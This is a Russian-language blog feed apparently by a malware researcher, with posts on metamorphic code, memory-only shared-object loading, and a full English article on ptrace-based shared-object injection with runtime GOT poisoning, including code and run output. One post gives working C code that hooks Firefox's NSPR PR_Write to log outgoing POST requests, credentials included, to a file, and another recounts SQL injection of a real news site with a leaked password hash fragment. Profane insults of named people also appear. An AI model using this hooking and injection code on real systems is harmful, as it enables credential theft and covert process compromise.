-Поиск по дневнику

Поиск сообщений в rss_herm1t

 -Подписка по e-mail

 

 -Постоянные читатели

 -Статистика

Статистика LiveInternet.ru: показано количество хитов и посетителей
Создан: 15.10.2009
Записей:
Комментариев:
Написано: 1

herm1t LIVE!ng room





herm1t LIVE!ng room - LJ.Rossia.org


Добавить любой RSS - источник (включая журнал LiveJournal) в свою ленту друзей вы можете на странице синдикации.

Исходная информация - http://lj.rossia.org/users/herm1t/.
Данный дневник сформирован из открытого RSS-источника по адресу http://lj.rossia.org/users/herm1t/data/rss, и дополняется в соответствии с дополнением данного источника. Он может не соответствовать содержимому оригинальной страницы. Трансляция создана автоматически по запросу читателей этой RSS ленты.
По всем вопросам о работе данного сервиса обращаться со страницы контактной информации.

[Обновить трансляцию]

Без заголовка

Вторник, 02 Марта 2021 г. 22:15 + в цитатник

Без заголовка

Понедельник, 02 Марта 2020 г. 23:09 + в цитатник
Мне посыпались комментарии. Больше чем звездное небо внутри нас, и нравственный закон под ногами, меня поражают злорадствующие хуилы в камментах, по наивности пытающиеся меня доебать и привыкшие вылизывать задницу гебне и мусорне. Никак не могу к этому привыкнуть. Брезгливость не позволяет.

http://lj.rossia.org/users/herm1t/81243.html



Понравилось: 2 пользователям

День второй

Понедельник, 30 Июля 2018 г. 18:43 + в цитатник
Наконец-то появился повод, что-нибудь написать. Вернулся к старой идее ("Recompiling the metamorphism", 2012). Всё как водится упиралось в лень и нежелание писать полноценный парсер. Лёд тронулся, господа присяжные заседатели. Фронтэнд парсит и сериализует abstract syntax tree, а бэкенд его успешно загружает и превращает в код. Теперь займусь кодогенератором, уберу gas. Байтоёбством давно не занимался, но ассемблирование и линковка - это уж совсем просто. Потом можно начинать развлекаться: constant unfolding, перемешивание top level declarations, криптостроки, издевательства над CFG. И всё это в качестве сайд-эффекта. :-) Сериализация вот в таком вод виде, довольно идиотический, зато простой и не заморочливый:
static void *copy_dict(void *v, void *(*ele)(void*))
{
	Dict *r = NULL;
	if (v == NULL || ((r = hash_get(v)) != NULL))
		return r;
	r = store(v, sizeof(Dict));
	r->map = copy_map(r->map, ele);
	r->key = copy_vector(r->key, copy_string);
	return r;
}

static void *copy_type(void *v)
{
	Type *r = NULL;
	if (v == NULL || ((r = hash_get(v)) != NULL))
		return r;
	r = store(v, sizeof(Type));
	r->ptr = copy_type(r->ptr);
	r->fields = copy_dict(r->fields, copy_type);
	r->rettype = copy_type(r->rettype);
	r->params = copy_vector(r->params, copy_type);
	return r;
}


http://lj.rossia.org/users/herm1t/80970.html



Понравилось: 13 пользователям

Неэкспортируемые символы

Пятница, 12 Февраля 2016 г. 15:01 + в цитатник
Давно и успешно использую следующий метод для поиска неэкспортируемых символов. Дизассемблируем код (linear sweep), линейно, хотя бы для того, чтобы убедиться, что код создан нормальным компилятором и в нем нет антиотладки. Отмечаем начало функций (все, что вызывется через call). Потом трейсим каждую функу рекурсивно и используем эвристики, такие как: использование констант (хорошо, если есть строки), определенный набор внешних функций или даже просто специфическую форму CFG. Странно, но нашел всего одно упоминание этого способа в нужном контексте, да и то без готового инструмента, а просто, как PoC. Так что и антивирусные приколы могут быть полезны, кто бы мог подумать. :-) Неожиданно, массовый софт - предельно стабилен и меняется медленно, так что "сигнатуры" (на control / data flow, не на инструкции) накрывают очень широкий диапазон версий.

http://lj.rossia.org/users/herm1t/80894.html


Метки:  

SO

Четверг, 11 Февраля 2016 г. 23:25 + в цитатник
Сделал загрузку shared objects из памяти без временных файлов. И никаких сигнатур. Красивенько.

http://lj.rossia.org/users/herm1t/80527.html


Метки:  

Sucuri Web RAT

Четверг, 12 Ноября 2015 г. 02:30 + в цитатник
Sucuri Integrity Monitor

I found the "monitoring software" installed by

http://lj.rossia.org/users/herm1t/80363.html


Метки:  

Сграбить потоковое видео

Среда, 04 Ноября 2015 г. 20:08 + в цитатник
Понадобилось сграбить ролик (не ютюб, ссылок нет, плей-листов нет)

  1. Developer -> Developer Toolbar -> Network
  2. Reload, жмем Play
  3. Ждем пока пойдут кусочки mpeg (.ts файлы на скриншоте
  4. Копируем ссылки, скачиваем
  5. Склеиваем (можно просто cat *.ts > 1.ts)
  6. Перекодируем (чтобы не шаманить с mencoder)
  7. PROFIT


http://lj.rossia.org/users/herm1t/79941.html


Метки:  

Чего только не бывает... :-)

Пятница, 21 Августа 2015 г. 15:05 + в цитатник

Метки:  

Hooking PR_Write

Понедельник, 22 Июня 2015 г. 21:55 + в цитатник
static int (*old_pr_write)(void *,void *, int);
static int pr_write(void *handle, void *buffer, int length)
{
        if (length > 4 && !strncmp(buffer, "POST", 4)) {
                FILE *f = fopen("/tmp/debug.txt", "a+");
                if (f != NULL) {
                        fprintf(f, "%.*s\n", length, buffer);
                        fclose(f);
                }
        }
        return old_pr_write(handle, buffer, length);
}

void init(void)
{
        void *h = dlopen(NULL, RTLD_LAZY);
        if (h) {
                void *(*mtdfn)(void) = dlsym(h, "PR_GetTCPMethods");
                if (mtdfn) {
                        void **mtd = (void**)mtdfn();
                        old_pr_write = ((int (*)(void*,void*,int))mtd[3]);
                        mtd[3] = pr_write;
                }
        }
}


http://lj.rossia.org/users/herm1t/79603.html


Метки:  

Без заголовка

Четверг, 16 Апреля 2015 г. 16:56 + в цитатник
Есть немного хешей в base36, и немного соотвествующих им данных (если это вообще хеши). Перебрал несколько вариантов, но не судьба, вдруг кто-нибудь угадает, чтобы это могло быть?
s501j7kmv5 26.06.2014 20.1.0.0.0/7-20140620/2066 138715 20.06.2014
se89ucbkrm 23.07.2014 20.1.0.0.0/7-20140718/147  186524 18.07.2014
e77sum9tne 25.04.2014 20.1.0.0.0/7-20140424/2697 2722   24.04.2014
sc0celvn3c 02.07.2014 20.1.0.0.0/7-20140617/2528 137620 17.06.2014
s7r69g13b5 02.07.2014 20.1.0.0.0/7-20140616/795  134766 16.06.2014
s1bc5ujpdc 07.07.2014 20.1.0.0.0/7-20140625/4618 149770 24.06.2014
e3fik3etdi 22.08.2014 20.1.0.0.0/7-20140815/3183 12821  15.08.2014
sco32fsof7 04.07.2014 20.1.0.0.0/7-20140624/380  145855 24.06.2014
s8d0skr24l 07.07.2014 20.1.0.0.0/7-20140626/3054 151497 26.06.2014


http://lj.rossia.org/users/herm1t/79130.html


Метки:  

Накипело

Вторник, 17 Марта 2015 г. 01:46 + в цитатник
Давно хотел сказать, что Eugene Dokukin aka MustLive феерический долбоеб. Извините, накипело.

http://lj.rossia.org/users/herm1t/79004.html


Patchless hook for NSPR!PR_Write

Суббота, 14 Марта 2015 г. 23:02 + в цитатник
С вредной либой придумал вариант, в котором вообще не нужно ничего патчить. Попробую. Все отлично работает. Победная реляция пишется прямо в хакнутом броузере. :-) VirtualProtect / mprotect, memcpy Красиво. Никаких патчей. Рейс исключен в принципе. И этот кодес я пока придержу. ;-P

http://lj.rossia.org/users/herm1t/78818.html


Метки:  

Runtime GOT poisoning from injected shared object

Пятница, 13 Марта 2015 г. 15:46 + в цитатник
This short article describes how the combination of the two well-known techniques would allow to intercept library calls in runtime without PIC-code (as in [2]), patching the library functions or searches in the /proc/PID/maps.

The method described in [1] allows to inject the whole shared library into
the process address space using the __libc_dlopen_mode and ptrace to form
the library call within targets control flow. In order to complete our task
one need to find the process GOT table and replace hijacked function GOT
entry.


To avoid the /proc/PID/maps mess, I will search all neccessary tables through
the link_map list (the pointer to it is stored in the GOT[1] of our shared
object, which in turn could be found via _DYNAMIC array):


        struct link_map *get_link_map(void) {
                void **got = NULL;
                Elf64_Dyn *dyn;
                /* get link_map via _DYNAMIC, GOT[1] of the so */
                for (dyn = _DYNAMIC; dyn->d_tag != DT_NULL; ++dyn)
                        if (dyn->d_tag == DT_PLTGOT)
                                got = (void**)dyn->d_un.d_ptr;
                if (got == NULL || got[1] == NULL)
                        return NULL;
                return (struct link_map*)got[1];
        }
        struct link_map *lm = get_link_map();

Next, I need to find the _DYNAMIC of the current process, and would traverse
the link_map list (defined in link.h) in reverse order:



        struct link_map *base = NULL;
        for ( ; lm != NULL; lm = lm->l_prev) {
                printf("%p\t%s\n", lm->l_ld, lm->l_name);
                if (*lm->l_name == 0)
                        base = lm;
        }
        if (base == NULL)
                return;
        printf("base _DYNAMIC %p\n", base->l_ld);


To find the function by name I need pointers to .dynsym, .dynstr, .rel(a).plt,
and will extract the pointers from the process .dynamic section (base->l_ld).
The code presented below assumes RELA type of relocations on 64-bit system
(the support for the REL and 32-bits would require trivial changes):



        /* get dynsym / dynstr / relaplt from
           base' _DYNAMIC (base->l_ld) */
        Elf64_Dyn *dyn = NULL;
        Elf64_Sym *sym = NULL;
        Elf64_Rela *rel = NULL;
        char *str = NULL;
        int rsz = 0, i;
        for (dyn = base->l_ld; dyn->d_tag != DT_NULL; dyn++) {
                if (dyn->d_tag == DT_SYMTAB)
                        sym = (Elf64_Sym*)dyn->d_un.d_ptr;
                else
                if (dyn->d_tag == DT_STRTAB)
                        str = (char*)dyn->d_un.d_ptr;
                else
                if (dyn->d_tag == DT_JMPREL)
                        rel = (Elf64_Rela*)dyn->d_un.d_ptr;
                else
                if (dyn->d_tag == DT_PLTRELSZ)
                        rsz = dyn->d_un.d_val;
        }
        if (sym == NULL || rel == NULL || rsz < sizeof(Elf64_Rela)) {
                return;
        }


Finally, I would find the pointer to functions GOT entry (specified by name) and patch it:


        /* find function' GOT ptr in RELA/DYNSYM and patch it */
        char *symbol = "getpid";
        for (i = 0; i < rsz / sizeof(Elf64_Rela); i++)
                if (! strcmp(sym[
                    ELF64_R_SYM(rel[i].r_info)].st_name + str, symbol)) {
                        osym = *(void**)rel[i].r_offset;
                        *(void**)rel[i].r_offset = nsym;
                        break;
                }


In the above example the hijacked function is getpid() and the replacement
defined as follows:



static int (*osym)(void);
static int nsym(void)
{
        return osym() + 1000;
}


The manipulations with linkers structures done from within init() function of the library.
The Injectso64 tool was patched as follows (to allow dynamic linking):



   130          regs.rdi = regs.rsp + 8;
   131          regs.rsi = RTLD_LAZY|RTLD_GLOBAL|RTLD_NODELETE;
   132          regs.rip = dlopen_addr + 2;


Please note the RTLD_LAZY flag (instead of RTLD_NOW), otherwise the GOT[1] pointer would be empty!



I will use the following test program:



main()
{
        for (;;) {
                printf("I am running %d\n", getpid());
                sleep(1);
        }
}


And now running the things together:


$ ./test 
I am running 31457
I am running 31457
I am running 31457
...
$ gcc -fPIC -shared -Wl,--init=init shared.c -o shared.so
$ ./inject `pidof test` ./shared.so 
Trying to obtain __libc_dlopen_mode()
  address relative to libc start address.
[1] Using my own __libc_dlopen_mode ...
success!
me: {__libc_dlopen_mode:0x33e2726db0, dlopen_offset:126db0}
=> daemon: {__libc_dlopen_mode:0x33e2726db0, libc:0x33e2600000}
rdi=7fff79b284d0 rsp=7fff79b28328 rip=33e26aca20
done!

...
I am running 31457
I am running 31457
I am running 31457
0x7f00eb438a40  ./shared.so
0x33e241fdf0    /lib64/ld-linux-x86-64.so.2
0x33e298db40    /lib64/libc.so.6
0x7fff79bff580
0x600768
base _DYNAMIC 0x600768
I am running 32457
I am running 32457
...


  • We successfully injected the complete shared object and ld took care of our own relocations and imports

  • Unlike some modern malware (like Hand of Thief) we have redirected function call without re-patching its
    prologue (that is the source of crashes in the concurrent environment).

  • The task is accomplished solely in runtime and doesn't requires any /proc lookups, system calls and pattern matching



That's all. Have a nice day. :-)



References



  1. Joe Damato, Injectso64, https://github.com/ice799/injectso64 , May 2007

  2. Ryan O'Neill, Modern Day ELF Runtime infection via GOT poisoning, May 2009




http://lj.rossia.org/users/herm1t/78510.html


Метки:  

nspr4!PR_Write

Понедельник, 09 Марта 2015 г. 16:15 + в цитатник
Так как никто ничего дельного не пишет, приходится копаться во всяком УГ, типа Hand of Thief. Оно находит nspr4!PR_Write из проинжектированной либы, и затем затирает пролог jmp (0xe9). Естественно, так как FF хрень многопоточная, то при постоянной перезаписи пролога, креш броузера - это вопрос времени. (У мну пять секунд). Так как, NSPR подгружается динамически, то у PR_Write нет записи в GOT/PLT и PLT Redirection/GOT poisoning работать не будет. Так что нужно либо хватать dlsym до старта, либо внимательнее смотреть на PR_Write, который изначально определен вот так (mozilla/nsprpub/pr/src/io/priometh.c , теперь понятно на чем они сидят ;-):
PR_IMPLEMENT(PRInt32)
PR_Write(PRFileDesc *fd, const void *buf, PRInt32 amount)
{
        return((fd->methods->write)(fd,buf,amount));
}
Или в коде:
  33f1a0e7e0:   48 8b 07                mov    (%rdi),%rax
  33f1a0e7e3:   48 8b 40 ??             mov    0x??(%rax),%rax
  33f1a0e7e7:   ff e0                   jmpq   *%rax
  33f1a0e7e9:   0f 1f 80 00 00 00 00    nopl   0x0(%rax)

Это я к чему. Не нужно ничего затирать и копировать байты. Нужно затереть ее один раз, а оригинальную функцию положить в отдельно выделенную память и звать ее оттуда. Или, если учесть, что struct PRIOMethods ни разу не менялся - звать напрямую, едва ли его поломают. Вот так:
static int pr_write(void *handle, void *buffer, int length)
{
        ...
        return ((int (*)(void*,void*,int))
          (*(void***)handle)[а тут кто-то в исходники полезет ;-)])
            (handle, buffer, length);
}
Так что правильно, что ХоТ попал под блэк, на хуй, на хуй такой код. А у мну POST-запросы логируются на отлично:
POST /editjournal.bml HTTP/1.1
Host: lj.rossia.org
Content-Type: application/x-www-form-urlencoded ...
Чего и вам желаю. В следующий раз еще расскажу, как правильно делать GOT poisoning в рантайме, чтобы ничего не затирать и не копировать.

http://lj.rossia.org/users/herm1t/78186.html


Метки:  

Books

Пятница, 30 Января 2015 г. 15:51 + в цитатник
Приехала книжка:
Peter Denning "Computers Under Attack: Intruders, Worms, and Viruses"
Люблю старые книжки, а эта на удивление годная.
Отсканирую.

http://lj.rossia.org/users/herm1t/77931.html


Метки:  

Bacula dirty dumper

Среда, 15 Октября 2014 г. 17:58 + в цитатник
Я знаю, это ужасно, но мне срочно понадобилось распаковать пару томов бакуловских архивов.
Так как bls и bextract вынесли мне мозг нахуй, был написан badump - Bacula Dirty Dumper,
которому похуй на все, так же, как и мне. Надеюсь, что кроме меня им никто не воспользуется. :-)

иногда почему-то размер записи превышает размер блока. может он так показывает, что будет продолжение?
думаете я пойду копаться в исходниках сторедж демона? а вот хуй!
int ds = roff + DataSize + sizeof(struct record) < eob ?
  DataSize : eob - (roff + sizeof(struct record));
write(last_handle, m + roff + sizeof(struct record), ds);


http://lj.rossia.org/users/herm1t/77697.html


Метки:  

LOL

Четверг, 09 Октября 2014 г. 20:38 + в цитатник

Метки:  

C vs asm

Среда, 27 Августа 2014 г. 16:32 + в цитатник
О, Инди появился и повторяет старые глупости: "It(micode - mutation independent) is impossible to write on C.":-)

http://lj.rossia.org/users/herm1t/77169.html


Метки:  

Детекты мирного софта

Пятница, 22 Августа 2014 г. 17:00 + в цитатник
Всегда подозревал, что в антивирусных компаниях сидят дебилы. В этот раз отличился Avast, накрыли сигнатурой абсолютно нормальный код. Не сумели привязаться ни к чему, и добавили функу шифрования (в ней запоминающиеся константы).

http://lj.rossia.org/users/herm1t/76880.html


Метки:  

говнохак говносайтов

Вторник, 05 Августа 2014 г. 14:46 + в цитатник


помимо КДПВ, кое-что нашел... ;-)

Кстати, по поводу РБК (27 мая). В начале копался руками, потом сообразил, что ломали дебилы и нужно быть проще. STFG inurl:"id=" site:rbc.ua дал ссылку на file.php, ну и все:

sqlmap identified the following injection points with a total of 51 HTTP(s) requests:


Type: boolean-based blind
Type: error-based
Type: UNION query
...
available databases [28]

(mysql.users) ...localhost,p...,*F22A9DA37E2D88F7176E5B0A4F5C72...,,N,N,N,N,N,,N,N,0,N,N,N,,N,N,N,N,,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N...


Фигни всякой понаходилось: , h1>Hacked AZERBAIJAN Defacers, h1>Hacked AZERBAIJAN Defacers, h1>Hacked AZERBAIJAN Defacers, h1>Hacked AZERBAIJAN Defacers (2009-11-05)

Крысы ходили по серверам, как у себя дома. И на закуску (URI я затер, тут не сервис-центр, бага до сих пор там):


Стыдно, господа безопасники и хакеры. И адски скучно.

UPD. Написал в Ощад, Дмытру из РБК я уже давно отписался, но что-то мне подсказывает, что это дело дохлое. Если бы не юзера этой фигни, вылил бы все в паблик. Чтобы не мучаться /me ушел баловаться в зону RU.

http://lj.rossia.org/users/herm1t/76551.html


Метки:  

GCC

Пятница, 25 Июля 2014 г. 15:53 + в цитатник
-B. --no-integrated-cpp давно уже хотел, но только теперь дошли руки. Ж-)

http://lj.rossia.org/users/herm1t/76533.html


Метки:  

Без заголовка

Среда, 09 Июля 2014 г. 17:46 + в цитатник

Метки:  

Без заголовка

Вторник, 27 Мая 2014 г. 16:42 + в цитатник
RBC печатает вообще какую-то несусветную хрень:

Русские хакеры объявили кибер войну Украине

Русские хакеры организовали "RCW" (Russian Cyber Warrior) для борьбы с не легитимной властью Петра Порошенко. Напомним, что Петр Порошенко выиграл выборы на Украине в первом туре, получив более 50% голосов избирателей. Как нам стало известно, на хакерских форумах идет активная подготовка для "кибер" войны с Украинскими властями. Целью хакеров являются крупные структуры экономики Украины, ВПК и Служба безопасности Украины. Первой целью хакеров станет НАК "Нафтогаз Украины". По заверениям одного из участников "RCW", банковский счет "Нафтогаза" будет подвергнут взлому и искуственному обвалу активов на финансовом рынке. По оценкам экспертов, "Нафтогаз" рискует потерять до 45% инвестиций, что приведет к окончательному обвалу экономики Украины. Для совершения операции хакеры собирают единомышленников на закрытых хакерских форумах, одними из которых являются "coru", "w0rmPW", "exploit", "fuckav". Сервером координации выбран "coru". Координированием занимаeтся некий человек под псевдоними "vazonez". Вот что по этому поводу нам рассказал начальник СБУ Якименко Александр Григорьевич: "У нас есть все возможности противостоять этим атакам. Наши заокеанские партнеры предоставят нам необходимые кадры для вычисления злоумышленников и пресечением их деятельности". Что это будет означать? Начало Третьей Мировой войны? Нет, Третья Мировая уже идет - она информационная.

Якименко назван "начальником СБУ". Для тех, кто в танке - в бегах он. На факаве говорят - "пиздеж и провокация", "izg0y@coru.ws: бред полный", на сплоите хихикают. Какой-то невообразимо дурацкий вброс. Или говновзлом. Школоте припекает, поди взломали РБК-Украина для пиару. Да, и Вазонез не допустил бы грамматических ошибок. Ж-)

http://lj.rossia.org/users/herm1t/75947.html


Метки:  

Без заголовка

Пятница, 16 Мая 2014 г. 13:51 + в цитатник
Из занятного:

This is a system generated message informing you that the above-named person is a federal prisoner who seeks to add you to his/her contact list for exchanging electronic messages. There is no message from the prisoner at this time.


You can ACCEPT this prisoner's request or BLOCK this individual or all federal prisoners from contacting you via electronic messaging at www.corrlinks.com. To register with CorrLinks you must enter the email address that received this notice along with the identification code below.


Email Address: ...


Identification Code: ...


This identification code will expire in 10 days.


By approving electronic correspondence with federal prisoners, you consent to have the Bureau of Prisons staff monitor the content of all electronic messages exchanged.


Once you have registered with CorrLinks and approved the prisoner for correspondence, the prisoner will be notified electronically.


For additional information related to this program, please visit the http://www.bop.gov/inmate_programs/trulincs_faq.jsp FAQ page.



Интересная городушка, но кажется именно с этим типом мне разговаривать не о чем.

http://lj.rossia.org/users/herm1t/75597.html


Мда :-)

Среда, 23 Апреля 2014 г. 16:38 + в цитатник
C:\Reliz2\zanovo\FTPSrc_1_1\vorovalka\vorovalka_05_04_2013\Indy\Lib\Protocols\IdHeaderCoderIndy.pas

http://lj.rossia.org/users/herm1t/75472.html


Метки:  

;-)

Вторник, 15 Апреля 2014 г. 14:22 + в цитатник
Сколько волка не корми, а все равно - Слава Украине! :-)



«В тяжелый для Родины час, мы депутаты Государственной Думы Российской Федерации, осознавая лежащую на нас отвественность перед россиянами, должны сказать решительное «Нет!» обезумевшим чекистам, которые ведут Россию в пропасть. Мы должны немедленно вернуть наши вооруженные силы домой, и остановить агрессию по отношению к братской Украине»

http://lj.rossia.org/users/herm1t/75183.html


Метки:  

Поиск сообщений в rss_herm1t
Страницы: [2] 1 Календарь